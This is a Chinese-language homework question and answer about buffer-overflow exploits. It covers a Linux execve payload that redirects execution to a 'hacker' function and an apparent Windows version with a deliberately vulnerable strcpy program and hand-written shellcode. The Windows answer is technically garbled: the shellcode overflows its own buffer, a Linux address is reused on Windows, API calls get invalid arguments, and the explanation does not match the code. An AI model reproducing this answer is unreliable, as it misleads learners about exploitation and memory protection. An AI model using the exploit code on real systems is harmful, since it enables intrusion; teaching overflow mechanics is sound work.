假定hacker函数首地址为0x8048411，则可编写如下的攻击代码实施攻击。 #include <stdio.h> char code[]= “0123456789ABCDEFXXXX” “\x11\x84\x04\x08” “\x00”; int main(void){ char *arg[3]; arg[0]=”./test”; arg[1]=code; arg[2]=NULL; execve(arg[0], arg, NULL); return 0; } 请在Windows平台上验证攻击能否成功？如果不成功，请说明原因？通过查阅资料，你能否编写出Windows平台上的一个缓冲区溢出漏洞利用程序？

在 Windows 平台上，攻击代码的编写方式与 Linux 平台上略有不同。具体来说，需要使用一些 Windows 平台上的特有函数和数据类型，例如 Windows API 中的 VirtualAlloc 和 VirtualProtect 函数，以及 Windows PE 文件格式中的 IMAGE_NT_HEADERS 和 IMAGE_SECTION_HEADER 等数据类型。

下面是一个简单的 Windows 平台上的缓冲区溢出漏洞利用程序的示例代码：

#include <stdio.h>
#include <windows.h>

void hacker(void) {
    printf("being hacked\n");
}

int main(int argc, char** argv) {
    char buffer[16];
    strcpy(buffer, argv[1]);
    return 0;
}

该程序中的 buffer 数组长度为 16，存在缓冲区溢出漏洞。攻击者可以通过构造恶意字符串，使程序执行 hacker 函数中的代码。

下面是一个利用该漏洞的攻击代码的示例：

#include <stdio.h>
#include <windows.h>

char code[] =
    "\x90\x90\x90\x90\x90\x90\x90\x90"  // NOP sled
    "\x68\x00\x10\x00\x00"              // push 0x1000
    "\x68\x60\x10\x40\x00"              // push 0x401060
    "\xB8\xC7\x93\xC2\x77"              // mov eax, 0x77C293C7 (VirtualAlloc address)
    "\xFF\xD0"                          // call eax
    "\x50"                              // push eax
    "\x68\x11\x84\x04\x08"              // push 0x8048411 (hacker address)
    "\xC3";                             // ret

int main(int argc, char** argv) {
    char buffer[16];
    memset(buffer, '\x90', sizeof(buffer));
    memcpy(buffer, code, sizeof(code) - 1);
    strcpy(buffer + 12, "\x11\x84\x04\x08");  // overwrite return address
    VirtualProtect(buffer, sizeof(buffer), PAGE_EXECUTE_READWRITE, NULL);
    ((void(*)())buffer)();
    return 0;
}

该攻击代码首先在 buffer 数组中构造了一个 NOP sled（即一系列 NOP 指令），然后使用 VirtualAlloc 函数在内存中分配一块可执行的空间，并将 hacker 函数的地址和一些参数压入栈中，最后使用 ret 指令将程序的执行流程转移到 hacker 函数中。

为了使攻击代码能够成功执行，需要将该程序编译为可执行文件，并在编译选项中添加 -fno-stack-protector 选项以禁用栈保护机制。